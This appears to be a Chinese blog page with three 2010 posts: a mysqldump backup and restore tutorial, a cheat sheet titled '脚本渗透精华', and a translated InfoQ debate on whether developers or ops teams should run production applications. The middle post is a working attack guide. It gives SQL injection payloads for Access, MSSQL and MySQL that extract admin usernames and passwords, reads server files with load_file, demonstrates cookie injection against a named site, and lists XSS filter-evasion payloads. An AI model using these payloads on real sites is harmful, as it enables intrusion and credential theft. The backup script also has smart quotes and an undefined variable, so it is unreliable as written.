使用mysqldump备份MYSQL的数据

2010/07/25

我们经常会遇到备份数据库数据的需求,而且这个需求是日常都要做的,例如每天的一个全备份或是每隔一段时间的备份等等。这次说的是用mysqldump备份MYSQL的数据。

现在来看一下这样的需求:每天早上五点的时候系统自动地备份数据库的数据。并打包保存到一个备份的文件夹。

备份MYSQL的数据有多种方法,篇只说一种。用mysqldump来备份,首先找到mysqldump放在哪里:which mysqldump然后回车就找到了它的位置。我们把这个位置放到一个变量里

MYSQLDUMP=`which mysqldump`
DATALOCATION=”/data/databasebackup”
MYSQLPASSWORD=`cat /local/save/mysqlpasswd`

TAR=”/bin/tar”

CURRDAY=`get_curr_day`
BACKUPPARENTDIR=”${ORIGDIR}/${DATABASENAME}”
BACKUPDIR=”${BACKUPPARENTDIR}/${CURRDAY}”
BACKUPFILENAME=”${BACKUPPARENTDIR}/${DATABASENAME}_${CURRDAY}.tar.bz2″

一:备份数据库结构:

${MYSQLDUMP} -uroot -p${MYSQLPASSWORD} -d ${DATABASENAME} > “${BACKUPDIR}/${DATABASENAME}_db_struc.sql”

二:以 txt 文件的方式分表导出数据

${MYSQLDUMP} -uroot -p${MYSQLPASSWORD} -T${BACKUPDIR}  ${DATABASENAME}

其实到这里,数据就已经备份好的了。但是要把每天的数据都打包并按日期命名放好,这样才有利于以后的数据恢复。

${TAR} cjvf ${BACKUPFILENAME} ${CURRDAY}
mv ${BACKUPFILENAME} ${DATALOCATION}

把这些操作写成脚本,然后放到crontab里设定好定时执行的时间,就可以自动地备份数据库,并按日期打包放好了。

如果我们要恢复数据需要怎么做呢?

首先要找到备份文件,解压:tar xjf  test_2010-07-25.tar.bz2 然后进到刚解压的文件夹下面,例如是2010-07-25,cd 2010-07-25,然后得到当前的路径:pwd回车。例如得到这样的路径:/data/databasebackup/2010-07-25,然后就可以还原数据库的结构了,当然,在还原之前先要有一个数据库名,这个数据库最好是空的。

mysql -uroot -p`cat /local/save/mysqlpasswd` newdb < /data/databasebackup/2010-07-25/test_db_struc.sql

这样就得到了要还原的数据库的表结构,然后还原数据:

mysqlimport –local -uroot -p`cat /local/save/mysqlpasswd` newdb `find /data/databasebackup/2010-07-25/ -name “*.txt”`

到这里为止,数据库的备份和还原就全搞定了。当然了,数据库备份还有很多方法,以后再继续讨论。

Tags:,, Posted in 技术文章我抢沙发

脚本渗透精华

2010/07/05

 

第一步先把IE菜单=>工具=>Internet选项=>高级=>显示友好 HTTP 错误信息前面的勾去掉。否则,不论服务器返回什么错误,IE都只显示为HTTP 500服务器错误,不能获得更多的提示信息。
数字型:and 1=1 and 1=2 判断是否存在注入
字符型:’ and ‘1′=’1 ‘ and ‘1′=’2
搜索型: 关键字%’ and 1=1 and ‘%’='% 关键字%’ and 1=2 and ‘%’='%
IIS报错情况下使用:
and user>0 (判断是ACCESS还是MSSQL)
不报错则使用各自数据库特性来判断
and (select count(*) from msysobjects)>0 (返回权限不足access数据库)
and (select count(*) from sysobjects)>0 (返回正常则为MSSQL数据库)
and db_name()>0 (返回数据库名)
and 0<>(select @@version)– (判断版本信息)
and db_name()>0 (返回数据库名)
************注意:猜解之前先要找到后台地址,不然白忙了**********
ACCESS注入:
猜解表名(正常则存在admin,不正常则不存在)
and exists (select * from [admin])
and (Select Count(*) from Admin)>0
猜解字段:(字段username存在则正常,不正常则不存在)
and (Select username from Admin)>0
and exists (select username from [admin])
猜解用户名和密码长度
and (select top 1 len(username) from Admin)>0
and (select top 1 len(password) from Admin)>0
原理:如果top 1的username长度大于0,则条件成立;接着就是>1、>2、>3这样测试下去,一直到条件不成立为止,比如>4成立,>5不成立,就是len(username)=5,即用户名长度为5.得到username的长度后,用mid(username,N,1)截取第N位字符,再asc(mid(username,N,1))得到ASCII码.
猜解用户
and (select top 1 asc(mid(username,1,1)) from Admin)>0,1,2…,
当输入到109时,显示错误,而108之前显示正确,说明第一个字符的ASCII码为109,得到第一个字符是m。
同理and (select top 1 asc(mid(username,2,1) from Admin)>0,1,2…
到114的时候不成立,说明第二个字符的ASCII码值为114,字符为r。
注意的是英文和数字的ASCII码在1-128之间…
MSSQL注入:
having 1=1– 【爆出一个表名及字段,如:列 ‘users.ID’ 在选择列表中无效】
group by users.ID having 1=1–
group by users.ID, users.username, users.password, users.privs having 1=1–
; insert into users values( 666, attacker, foobar, 0xffff )– 【插入新记录】
猜解表名:
SQL SERVER的每一个数据库都会有用户表和系统表,在系统表sysobjects中, 数据库内创建的每个对象(约束、默认值、日志、规则、存储过程等)在sysobjects表中占一行,那么也就是说当前数据库的表名都会在该表内有存在。我们常用到的参数有三个,name (数据表的名字),xtype( 数据表的类型 u为用户表),id( 数据表的对象标志)。
and (select top 1 name from sysobjects where xtype=’u')>0 (得到第一个表名:比如user)
and (select top 1 name from sysobjects where xtype=’u’ and name not in (’user’))>0 得到第二个表名,后面的以此类推。。
猜解列名:
用到系统自带的2个函数col_name()和object_id(),col_name()的格式是“COL_NAME( table_id , column_id )”,参数table_id是表的标识号,column_id是列的标识号,object_id(admin)就是得到admin在sysobjects中的标识号,column_id=1,2,3表明admin的第1,2,3列。
and (select top 1 col_name(object_id(’admin’),1) from sysobjects)>0 【得到admin字段的第一个列名“username”依次类推,得到“password”“id”等等】
猜解字段内容:
and (select top 1 username from [admin])>0 【直接得到用户名】
and (select top 1 password from [admin])>0 【直接得到密码】
UNION联合查询:
select name,password,id from user union select user,pwd,uid from 表名
and 1=1 union select 1,2,3,4,5… from 表名 (数值从1开始慢慢加,如果加到5返回正常,那就存在5个字段)
ASCII逐字解码法:
1、猜解列长度
and (select top 1 len(列名)from 表名)>N
其中N是数字,变换这个N的值猜解列长度,当N为6正确,为7错误,则长度为7
猜解第二条记录就该使用:select top 1 len(列名) from 表名 where 列名 not in (select top 1 列名 from 表名)
2、猜解用户和密码
ASC()函数和Mid函数,ASC(mid(列名,N,1))得到“列名”第N位字符ASCII码
猜解语句为:and (select top 1 asc(mid(字段,1,1)) from 数据库名)>ASCII码
区间判断语句:….between……and……
中文处理法:当ASCII转换后为“负数”使用abs()函数取绝对值。
例:and (select top 1 abs(asc(mid(字段,1,1))) from 数据库名)=ASC码
ASCII逐字解码法的应用:
1、猜解表名:and (select count(*) from admin)<>0
2、猜解列名:and (select count(列名) from 表名)<>0
3、猜解用户个数:and (select count(*) from 表名)>1,2.. 2正常,3错误,表中有3条记录。
4、猜解用户名的长度:and (select len(列名) from 表名)>=1、>=2、>=3、>=4。
5、猜解用户名:and (select count(*)from 表名 where (asc(mid(列名,1,1))) between 30 and 130)<>0
最后提交:and (select asc(mid(列名,1,1)) from 表名)=ascii的值
6、猜解管理员的密码:
按照上面的原理,把上面的语句中(asc(mid(列名,1,1)的列名换成PASSWORD就能得到密码了。
MYSQL+PHP注入:
1.判断是否存在注入,加’;and 1=1 ;and 1=2
2.判断版本 and ord(mid(version(),1,1))>51 /* 返回正常说明是4.0以上版本,可以用union查询
3.利用order by 暴字段,在网址后加 order by 10 /* 如果返回正常说明字段大于10
4.再利用union来查询准确字段,如: and 1=2 union select 1,2,3,……./*直到返回正常,说明猜到准确字段数。如过滤了空格可以用/**/代替。
5.判断数据库连接帐号有没有写权限,and (select count(*) from mysql.user)>0 /*如果结果返回错误,那我们只能猜解管理员帐号和密码了。
6.如果返回正常,则可以通过and 1=2 union select 1,2,3,4,5,6,load_file(char(文件路径的ascii值,用逗号隔开)),8,9,10 /* 注:load_file(char(文件路径的ascii值,用逗号隔开))也可以用十六进制,通过这种方式读取配置文件,找到数据库连接等。
7.首先猜解user表,如: and 1=2 union select 1,2,3,4,5,6…. from user /* 如果返回正常,说明存在这个表。
8.知道了表就猜解字段,and 1=2 union select 1,username,3,4,5,6…. from user/*如果在2字段显示出字段内容则存在些字段。
9.同理再猜解password字段。
cookie注入:
条件:ID=Request(”ID”),(WEB服务器是先去取GET中的数据,没有的话再取POST中的数据,还没有再去取Cookies中的数据);未对cookie进行过滤,那么就造成了cookie注入。
*****用 Request.QueryString或Request.Form收集数据的话,是无法利用Cookies注入的******
判断是否存在cookie注入
例如:http://www.xiaoweio.cn/1.asp?id=44
输入 http://www.xiaoweio.cn/1.asp 显示不正常,因为没有输参数。
javascript:alert(document.cookie=”id=”+escape(”44 and 1=1″));刷新页面,显示正常,可以再试下一步(如果不正常,就有可能也有过滤了)
javascript:alert(document.cookie=”id=”+escape(”44 and 1=2″));刷新一下页面,如果不正常显示,这就表示有注入了。
猜解长度:
javascript:alert(document.cookie=”id=”+escape(”44 and (select len(password) from admin)=16″))
猜解内容:
javascript:alert(document.cookie=”id=”+escape(”44 and (select asc(mid(username)) from admin)=97″))
PHP注入:
判断注入点:’;and 1=1 ‘;and 1=2
判断UNION:and ord(mid(version(),1,1))>51 返回正确则4.0可用UNION查询
利用order by 暴字段:order by n (n=1,2,3.. ) (当n为3正确,4错误是,则3个字段)
利用union来查询准确字段:and 1=1 union select 1,2,3,……. (当返回正常时,就说明猜到准确字段数=最后一个数)
判断数据库连接帐号有没有写权限:and (select count(*) from mysql.user)>0(如果返回错误,我们就猜管理员的帐号密码,如果返回正常,则可以通过
and 1=2 union select 1,2,3,4,5,6, load_file(char(文件路径的ascii值,用逗号隔开)),8,9,10 [注意:load_file(char(文件路径的ascii值,用逗号隔开))也可以用十六进制,通过这种方式读取配置文件])
猜解表:and 1=2 union select 1,2,3,4,5,6…. from user (回正常,说明存在这个表)
猜字段:and 1=2 union select 1,username,3,4,5,6…. from user (同样道理,自己替换,如果在2字段显示出字段内容则存在些字段)
同理再猜解password字段.
跨站:
<script>alert(”跨站”)</script> (最常用)
<img scr=javascript:alert(”跨站”)></img>
<img scr=”javascript: alert(/跨站/)></img>
<img scr=”javas????cript:alert(/跨站/)” width=150></img> (?用tab键弄出来的空格)
<img scr=”#” onerror=alert(/跨站/)></img>
<img scr=”#” style=”xss:e-xpression(alert(/xss/));”></img>
<img scr=”#”/* */onerror=alert(/xss/) width=150></img> (/**/ 表示注释)
<img src=vbscript:msgbox (”xss”)></img>
<style> input {left:e-xpression (alert(’xss’))}</style>
<div style={left:e-xpression (alert(’xss’))}></div>
<div style={left:exp/* */ression (alert(’xss’))}></div>
<div style={left:\0065\0078ression (alert(’xss’))}></div>
html 实体 <div style={left:&#x0065;xpression (alert(’xss’))}></div>
unicode <div style=”{left:expRessioN (alert(’xss’))}”>

Tags: Posted in 生活我抢沙发

讨论:当前运维团队在软件开发中的角色 

2010/06/18

作者 Srini Penchikala 译者  侯伯薇 

在过去的几年中,随着云计算和开发加运维现象的出现,出现了对传统的运维团队的角色的讨论,因为在当前的软件开发团队中经常会看到他们的身影。  InfoQ 将会深入地探究此次讨论,以更好地理解其中所涉及到的各个不同的方面,以及各种方法之间的平衡。 
本次讨论的核心是这样的重大问题: 

谁应该负责对生产环境中的应用程序进行管理、监控和运维? 


在开始关于此次争论的讨论之前,我们先是邀请了New Relic公司(基于SaaS的应用程序性能管理工具的提供商)的工程主管Bjorn Freeman‐Benson和  InfoQ运维社区的首席编辑Carlos Armas。然而,这只是讨论的开始,随着讨论的进行和展开,InfoQ会将最近的讨论更新到本文中,并且还可以通过关注#roleofops标签来关注  Twitter上的讨论。我们希望你也参加到本次讨论中,所以请选择发布带有#roldofops标签的推特信息,或者向feedback@infoq.com发送邮件来说明你的看法,也可以在本文的评论中留下你的声音。  
 
Bjorn Freeman‐Benson:关于改变运维的角色这个主题,已经有了大量的言论、网志以及幻灯片。在大量的交流中,  人们提出了将开发和运维变得更加紧密的要求。他们称之为开发加运维或者其它术语。尽管我在 New Relic 公司的同事和我在总体上都持赞同的意见,但是我们认为公司应该考虑采用更具有决定性的步骤,以达到更有效的运维管理——也就是,考虑让每个开发  团队都负责他们自己的应用程序的部署和性能问题。  
让我们考虑一下,为什么这并非像它听起来那样不同寻常或者极端。 
首先,对于应用程序,谁能比创建它的团队更了解它呢?这使得在将应用程序部署到数据中心或者云中的时候,应用程序开发团队需要与业务应用的所有者商  讨,然后对应用程序进行设计、架构和编码,选择、测试并集成应用程序的各个组件(应用程序服务器、操作系统、数据库、集成中间件等等),创建原型,执行功  能测试,可能还要进行负载和可扩展性的测试,向业务人员演示应用程序的功能,最终为生产环境准备就绪。几周甚至几个月来日积月累的知识怎么可能一下子就传  授给运维团队呢? 开发团队应该做出重要的部署选择吗?——增加或者扩展硬件服务器,是否对服务器采用虚拟化,哪种CPU和内存是最佳的等等。开发团队应该决定他们所  需要的最佳的性能监控和日志记录吗?开发团队应该监控、处理警告、把握性能和有效的时间,并且在应用程序崩溃的时候处理来自于业务部门歇斯底里的电话吗?  (为什么运维人员会处理这些有趣的事儿?)我知道这种方法会有用的——在 New Relic 公司中,我们自己就使用它来管理世界上的最忙碌的 SaaS 应用程序之一。很讽刺的是,我们的SaaS 应用程序耗费了将近4000个开发团队来管  理他们的生产环境中的应用程序。 
Carlos Armas:这样的想法很具有吸引力,因为设计和构建系统的团队最适合对其进行运维、监控和扩展。由这个逻辑递推,  我主张开发团队应该负责处理公司的账务,因为软件开发者都很擅长处理数字,或者由于他们对环境很关心,因此应该在工作之后清理办公室并将垃圾箱倒到外边的回收处。这样做就忽略了几百年来的重要实践:分工。事实上,开发团队比其他人更加了解应用程序,但这并不能成为要他们负责对发布到生产之后的代码进行运维 和维护的原因。 
我假定自己是公司所有者的角色,并给出三个原因,说明为什么我不想这样的事情发生在我的公司中: 
1)财务上的:软件开发者的平均工资总是要比运维支持工程师的高。作为公司的所有者,为什么我想要让我最昂贵的团队做运维任务呢,那种任务可以由其  它团队完成,那样更节省资金,更有效。在任何敏捷团队中,任何好的 Scrum 教练都会告诉我们,他们的主要任务之一就是移除障碍,并让隐藏的工作可见,从  而开发团队能够更有效地开发代码。为什么我想要将更多的障碍和额外的工作强加给开发团队,从而降低他们的效率呢? 
2)质量:我相信检查和平衡,因为没有人是完美的。当团队负责应用程序完整的生命周期时,客户最终要吞下这个苦果:很差的用户体验。当开发代码的团  队同时也负责决定其质量是否符合发布标准的时候,那么发布不完善代码的风险就会大大提高。拥有完整的生命周期使得人们自满,并会滋生“我们总是可以在生产  环境中修改它”的错误想法。 
作为公司所有者,我更喜欢对系统进行检查和平衡,从而我们可以更好地服务客户,并因此得到他们的回报: 

  我不希望开发团队负责 QA(质量保证)工作,而是由QA 团队来负责代码的质量。 
  我不希望 QA 团队来发布程序并运维生产环境中的应用程序,应该由运维团队来负责彻底地测试应用程序,从而问题可以在早期发现,在它被客户  使用之间就被退回给开发
团队修改。 
  我不希望运维团队承担限制我们向客户发布新功能的频率的角色,他们应该负责应用程序的可用性和性能,并负责发布和维护代码,还要反馈缺陷  和不足,不论是在检查还
是测试过程中发现的。 
实质上,我希望质量是大家分享的责任,各个团队对于非常特定的区域和责任相互负责。我希望团队之间的关系是一种积极的矛盾,从而为持续的质量改进提供动力,并且在头脑中将
客户作为唯一的目标。 
3)机会的浪费:如果软件开发团队忙于运维工作,那么谁会开发新的特性并改善应用程序呢?谁来修复软件的缺陷呢?开发者会和生产团队会仅仅因为一个  页面跳出来,警告他们Amazon EC2的一个实例出错,而被滞留在下一代软件的设计过程中吗? 
Bjorn Freeman‐Benson:其次,当应用程序被部署在云中时,运维的真正任务是什么呢?越来越多的网络应用程序被  部署在公有或者私有的云架构中。在 New Relic 公司中,超过40%的客户将应用程序部署在云中,并且我们期望这个比例在2010年末会很大。就算大部分公司都比较小,没有大公司需要处理的遗  留数据中心或者数据整合的麻烦。但是,每天我们还是会与新的客户签约,他们可能是带有传统数据中心的大型组织,而客户的应用程序被部署在 Amazon或者其它公有云中。 
那么,在这些情况下,运维团队应该扮演什么样的角色呢?他们不会负责云的硬件、网络、电话。他们不会对架构监控做出选择。在云中唯一属于他们公司的  就是应用程序的代码本身。其它所有的一切都是由云架构提供商负责的。因此,坦率地说,当我的应用程序被部署在云中,谁会需要运维团队呢?开发团队必须负责  基于云的应用程序能够成功执行。除了他们,谁也做不到这一点。 
Carlos Armas:很有趣的是,看起来似乎人们期望云中的系统能够自我管理,那是错误的认识。让我们退回几年来说明这个问题,并讨论一下托管服务。 
我们当前所知的托管服务是从托管提供商意识到他们可能会为客户提供硬件和带宽之外的服务开始的,并且在他们的服务组合中包含了系统管理和对应用程序的管理。结果显示那是很棘手的业务,很难保证交付时的一致性和良好的质量。只有少数提供商做到了这点,但是付出了很大的代价。 
  
从上面的观点中,云计算将系统管理和应用程序管理任务推回给了客户。(我们不想在此定义云计算,那肯定会导致另一个讨论:)) 
那么运维团队在云中应该做什么呢?首先是系统管理。然后是应用程序的部署、监控、发布扩展和响应。我们仍然需要 24×7 的电话支持,因为系统位于云  中。系统管理(针对 Unix、Linux、Windows 等等)是开发者无法做好的事情,因为他们并非是该领域中的专家,就像系统管理员不是好的软件开发  者或者好的市场人员和沟通执行者一样。
然而,随着(并且如果)云计算变得越来越普遍,运维团队的组成也逐渐产生了变化。你之前提到了硬件、电信和网络。显然对这些能力的需求会从云客户的  公司转移到云提供商。
客户还是要保留系统管理员角色,并且会和之前一样需要(甚至更加重要),因为提供商不再为你管理虚拟服务器的操作系统。(记住,作为  公司所有者,我想要软件工程师开发代码,Scrum 教练防止他们做隐藏的工作,同时还要排除他们工作进程中的障碍) 
我们还可以认为,在这样的场景下,运维团队不再存在,而运维工程师变成了软件开发团队或者其它团队的一部分。那是有可能的,事实上当前在小型团队中正是这样。然而,我不认为我们在这里是在关注组织结构图,而应该关注在合并的托管技术环境中运维和开发的角色。 
本质上,我的观点是,软件开发团队不应该负责运维任务,并非是因为他们不能,而是因为那在财务上、组织上和商业智慧上是不合理的。 
 
以下内容增加于 4月 16日 
Bjorn Freeman‐Benson:我的观点是开发者应该负责他们的应用程序在生产环境上的运维工作,在为其提供另一个论据支持之前,让我先对 Carols的论点做出回应。Carols,我想在你说“[可能]开发团队应该负责公司的账务工作,因为软件开发者最擅长处理数字”的时候,是在开玩笑。是的,我并非是说开发者能够做其他所有人的工作。但是,我们并非是说让开发者使用能力范围之外的运维技能。开发者对财务完全是外行。但是配置硬件、部署软件、管理指定应用程序的服务器容量、确定备份日程——这些运维任务都是在典型的开发者能力范围之内的。 
此外,当提到云的时候,你说:“看起来似乎人们期望云中的系统能够自我管理,那是错误的。”是的,很明显云架构不会自我管理。但是我们所说的是与云相关的系统管理工作是由云提供商完成的。因此我说如果我们在将应用程序部署在云中的公司中做IT工作,为什么还需要系统管理员呢?我们应该让开发者来做大部分应用程序管理工作,这样就不需要再建立云团队了。如果一个公司使用的是云平台——RightScale、Heroku、Stax、Gigaspaces、EngineYard 等等——中的一种,那么大部分的与系统管理相关的工作都是由平台自动完成,而不是由系统管理员人工完成的。 
让我给出另一个观点,来说明为什么开发者应该对生产环境中的应用程序负责。谁能够比编写代码的团队更好地找到性能问题的根本原因呢?假设运维团队得  到了应用程序的性能出现了问题的警告,可能来自于性能检测工具,或者来自于不可避免的业务人员的电话,他们在其中大发雷霆。典型的运维人员能做什么呢?如  果他们极度幸运,那么可能会将产生问题的原因隔离到一些出现问题的架构中。坦率说那种情况十分少见。通常运维人员所使用的各种架构监控工具会显示一切“绿灯”。往往问题都在于应用程序之中。谁能比开发团队更知道在虚拟机中发生了什么呢?大多数运维人员都不是开发者,他们不会读代码,也不能跟踪
原因隐藏在程序中的问题。为什么需要运维团队作为中间人来接受警告,然后他只是将问题转交给开发团队?还是让开发人员来接受警告并更快地着手解决问题吧!如果问题在于他们的代码之中,那么他们就应该是修改该问题的不二人选。这样做额外的作用就是让开发者对于他们发布到生产环境中的代码更尽心,因为知道他们需要对结果负责。 
 
 以下内容增加于 4月 19日 
Carlos Armas:是的,我当时是在开玩笑:) 
我发现使用幽默更便于沟通和理解。我越是阅读你的评论,越是觉得似乎我们的观点并非是像旁观者乍一看所感觉的那样针锋相对。 
我同意开发者能够学习并执行很多运维任务,这是肯定的。但是请记住,我还是希望他们能够专注于代码,将该项工作放在第一位,正如我坐在公司所有者的  位置而谋其事一样。我在下面陈述你所作出的非常重要的观点时,会再回头来看这个观点。 
在此有一个很不固定,并且正在发展的概念:云计算。如果你让我给它下定义,我可能会逃之夭夭。(我可不想作为现代云计算的布道者来吸引眼球) 
可以说云计算是个宽泛的概念,它关注的是需要最少或者可能根本不需要运维专业支持的服务(Heroku,以及其它等等)。它还涉及到像 Amazon  的 EC2、Rackspace 的RackspaceCloud、Opsource’s的OpsourceCloud 等服务,其中涉及到大量运维工作,这依  赖于所要支持的应用程序的种类。 
还有强有力的证据,可以促使 Saas提供商专注于非常特定的服务,让类似的团队从提出概念到交付保持持续的服务(这可能正是在 New Relic 公司中的情况) ,并极度关注应用程序的交付。 
与之相对的例子可能是,公司决定不想花费大量的资金用来改善开发环境,并将其开发架构迁移到 EC2。快速提供、迅速转向,或者是其它的什么。你还会想到很多其它的例子。 
所以这件事的问题在于,“具体情况具体分析”。 
我对你的观点的根本原因进行了分析,在提出我的反对观点之前,让我先强调一下你的一些我观点: 
  这样做额外的作用是,当开发者将代码发布生产的时候会更尽心,因为他们知道需要对后果负责。 
  为什么要让运维团队作为中间人来得到警告,然后不管怎样,只是将问题转交给开发团队? 
如我所见,如果开发者开始做运维的工作,那么: 
  开发者会更尽心,因为他们需要对将代码发布生产所带来的后果负责。 
  这会解决中间人综合症(运维人员)所导致的问题,他们无法修正导致失败的错误 
基于实战的经验,我要对上面的观点表示反对: 
  为什么是那样呢,在很多公司中(显然数量巨大)运维人员被认为(表现为)是妨碍改变的因素,并且向工作流程中添加延迟,以致于几乎不可能  保持敏捷并向生产环境发
布代码。 
  为什么运维团队始终是开发团队的阻碍呢? 
  为什么开发团队要应付严格的公司政策,最终购买云计算服务呢(因为运维团队无法在第一时间提供服务)? 
  为什么运维团队会因为漏掉了SLA目标而受到惩罚?前提是错误不是与有缺陷的架构或者过程相关,而是与错误的代码相关的。 
  为什么运维人员无法从云服务的快速、灵活的部署能力中获益呢?难道是70年代的计算实践中的“守护者”精神依然存在吗? 
对我来说有些事情已经很清楚了:冲突是切实存在的,但是如果不熟悉信息技术实践的历史,
那么就很难梳理出为什么我们因此而受苦的原因。我有一条未经测试并且非常单纯的理论:
变更对于运维是有害的,而软件开发就是变更。因此存在最重要的矛盾,这需要聪明地处理。  
 新从公司所有者的角度来阐述,因为我要花费资金来试图提供管理冲突的过程(是聪明的吗?)。我要使用敏捷的用户故事方式来说明,作为公司所有者,我想要: 
  软件工程师不负责公司的财务工作(你没看到他们过来吧?:)) 
  运维工程师主要专注于 24/7服务的可用性。 
  软件工程师主要专注于服务的改善。 
  在开发和运维之间存在“零壁”规则。 
  运维工程师是敏捷团队的核心成员。 
  软件工程师经常会在第三级扩展的待命任务中轮换  
  这很痛苦,但会有教训 
  开发和运维团队都会对应用程序的可用性和延迟负责  
  在此我想坦率地说:丢失的目标,对于任何团队都无益,我不关心谁打破了它。必然的结果是:财务上的问题,会有教训。 
  运维工程师需要学习服务应用程序层的核心、本质的部分。  
  现在他们已经可以为设置趋势监控提供帮助,并且能够预测构建场景中的错误。 
本质上,我还是想让我的软件开发团队编写代码,构建新的特性来吸引客户的眼球,而不能被其它任何事情来分散精力(包括云计算)。我还是想让运维团队 (或者是拥有多名工程师的团队,或者是兼职的远程系统管理员)来调整系统,并能够对构建客户想要的东西的团队做出最快地响应。我还想让运维团队学习应用程  序层的关键知识,那样他们就能够不定期地找到针对架构的缺陷(作为唇齿相依的关系,不再对变更抱怨)。 
 
 以下内容增加于 4月 20日 
Bjorn Freeman‐Benson:Carlos,多谢你明确了立场。简要地说,我同意大多数你关于开发者如何认识运维人  员的说法(变更阻碍者),并且我想要增加对运维人员如何对开发者的认识(一群疯狂的牛仔)。我看到,关于我们的讨论,有很多读者发表了有意思的评论。我已经在线下得到了一些关于影响的反馈(感谢@markimbriaco和@randybias),我的立场很明确,强烈地反对运维功能。我  并非故意如此,并且希望我没有将运维人员描述为完全不必要或者没有能力。我并不认为没有公司需要运维功能,很显然并非如此。  
  
我的立场和观点都集中于应用程序,以及对它们负责的人。毕竟,如果不是为了应用程序的开发和运维,IT还有存在的价值吗? 
让我用这次发布的内容来澄清我的观点,并对Carlos 上面的一些评论做出回应。 
首先,我所听到和读到的来自于运维人员的讨论(其中很不错的一条评论就在本文下面,由John Willis 发表)告诉我们,没有人知道,运维的角色已经产生了很大的转变,这比运维人员本身还要大。Carlos,你的评论也显示出这一点。他们能够认  识到,数据中心和应用程序比起几年前已经有了很大的改变。数据中心过去会是各种技术的大杂烩——一台大型机、一些 AS‐400 机器、一些RS‐6000 机  器、一些 DEC 的小型机以及一些“那些 web家伙”使用的Wintel 服务器,再加上一大堆存储设备,他们需要不时地对其进行维护和反馈。现在仍然还有这  样的数据中心,对于支持它们的运维团队,我想可能没有什么变化。然而,现在数据中心里面拥有 1000台 Linux/Tomcat 的刀片服务器已经不是什么  稀奇的事儿了,所有这些刀片服务器都彼此相同。另外,几乎所有应用程序都基于 Web技术(Java, .Net, Ruby, PHP)也
不是什么稀奇的事儿,并且在那些数据中心中没有什么需要学习的管理工具,也没有需要支持的专利系统。云计算将这种现象发展到了极致。因此在越来  越多的情况下,运维团队的角色由于标准化和便利性而越来越简化。我们的观点是,我描绘的情况正在成为标准而不是不常见的情况。 
即便是在高度标准化的数据中心(我的有1000台刀片服务器的例子中)情况下,仍然还有运维的任务。有大量需要专业知识的工作——数据库管理、容量  规划、数据备份和恢复、灾难恢复规划、电力管理、通信管理等等。执行这些任务的人是为整个数据中心在服务(或者是为雇用他们的云提供商)。 
我的观点的关键在于,对应用程序的管理职责应该主要归属于应用程序开发团队,而不是运维团队。另外,Carlos(这可能会让你感到惊奇),我完全  同意你下面的观点: 
我有一条未经测试并且非常单纯的理论:变更对于运维是有害的,而软件开发就是变更。因此存在最重要的矛盾,这需要聪明地处理。 
我的观点是,开发者和架构师能够比运维团队更好地为部署、监控、以及突发事件管理决策做准备,因为他们拥有与应用程序架构和语言最紧密相关的知识。  在应用程序管理的情况下,运维和开发团队之间职责的划分没有那么有效。谁应该为应用程序的成功对公司负责也不是很清楚。最终,通过把应用程序的进展管理直  接放到开发人员的工作描述中,应用程序的质量会得到改善。我们不再允许开发者向运维团队发布代码质量低的应用程序,然后对后来的烂摊子放手不管。  
  
我喜欢你针对“公司所有者想要的是什么”的敏捷故事方法,但是在对其作出评论之前,我想听听来自于读者的评论。 
 
 以下内容增加于 4月 21日 
Carlos Armas:尽管我非常愿意相信运维团队的任务正在变得简单(这也是我所期望的) ,但实际的情况却恰恰相反。 
据我所知,在过去的 15年间,人们误解了运维任务,并逐渐将其最小化了。不必感到奇怪,因为这很大程度上都是运维团队的错。 
这开始于大型机时代,当时 MIS(信息系统经理)担任的还是“计算教堂中的神父”的职责。在“机器时代”,玻璃墙后的评判者使用仪式、保密和分离的  原则进行运维工作。这对于监视很有好处,也有利于在公司竞争范围中对挑战进行控制。 
那样的时光已经一去不复还了。正如我所见,工作中最简单的部分已经逐渐地消失了。我们不再通过分离/bin 和/usr/bin 目录来对硬盘进行加速和减速,或者使用 12GB 内存的 Sun E4500,让它占据数据中心最重要的位置。我忘记了是什么时候我最后一次使用剥皮钳来做电缆(谢天谢地!)。我也不再记得曾经是什么时候不得不编译一些  程序,因为 apt 或者 yum会给我稍微旧一些的、无法处理的版本。 
我认为运维的物理任务很早以前就从我们的工作描述中消失了,而被放到初始化/支持任务中。另一方面,我们的工作变得越来越复杂。多服务器的同构数据  中心(甚至是虚拟的、 “云”的)带来了不同的、更高级别的让人头疼的工作和复杂度。随着kickstart,puppet,以及其它相关的自动部署机制一  起,所谓的“原子任务”也随之而来了。在单一服务器中的简单拼写错误/etc/sudoers很容易修正——但现在在我们的系统中存在自动的乘法/加速效应,那会让错误在几秒到几分钟内扩展到成千上万台服务器中。 
每天我们面临的挑战也发生了变化,从“为什么编译失败?”变为“怎样我才能骗过傀儡模块,它将应用程序 Y部署到 120台服务器上来安装发布 X,但是  在完成之前无法发布 X+1,所以最终我没有在生产实例中发布 alpha 测试质量的代码”。我很喜欢现在的情况,因为“现实世界中的约束”不会成为云提供商  的环境中的障碍。协商、斡旋、统筹、分离和配置工作都应该提前做好。那就是过程。这个趋势为云计算铺平了道路,并且肯定会很受欢迎。而我的工作肯定不会变得更简单,尽管我使用自动化的方式来帮助我更好地铺平了道路。 
我们可以这样认为:它变得更加复杂,但现在我拥有更好的能为我们提供帮助的工具。并且,作为通向下一个目的的途径,我非常感谢创建这样的自动化工具的开发者们,那也是我想要它们一直为新的想法做开发,而不是管理部署后的应用程序的原因所在。 
我同意你关于开发人员和架构师的观点,他们正在准备更好地做出部署/监控/突发事件的管理决定。毫无疑问,在我的意识中,开发者和架构师比任何人都  更了解它们所创建的应用程序。 
对于谁应该为公司对应用程序的成功负责这个问题,我仍然持这样的观点(可能是过时的),应用程序是服务生态圈中的一部分,没有支持它的架构基础就无  法生存——即便是在云环境中,架构也需要管理,我更希望在该领域非常专业的人来执行那些任务。我想可能是看问题的角度的问题,我们更可能在此通过同意的方  式来表达反对。 
现在,让我们回顾一下开发者在他们的工作描述中增加对应用程序在生产环境中的管理的责任,正如你所提到的:我喜欢!非常喜欢。“放轻松一些,年轻  人”。将你的开发者轮换到运维团队的岗位,从而他们能够得到交付一致的、24/7 SLA 支持的用户体验相关的需求和挑战的第一手经验,同时给他们灌输应用程序级别的知识。这和新雇佣的开发者一样的。作为对等(反击),我会将我的运维工  程师轮换为你的 SCRUM 团队,并且体验第一手的“排除障碍”的工作,由于延迟和红色条所带来的挫折等等。这对于消除团队之间的(人为的)壁垒非常有益,那样就不会再有“我们  vs  他们”。 
上述的内容会确保我让开发者做的是我需要他们做的(作为公司所有者):创建新的功能,同时有助于传递知识,从而能够在生产环境中更有效地支持应用程序。 
 
 以下内容增加于 4月 27日 
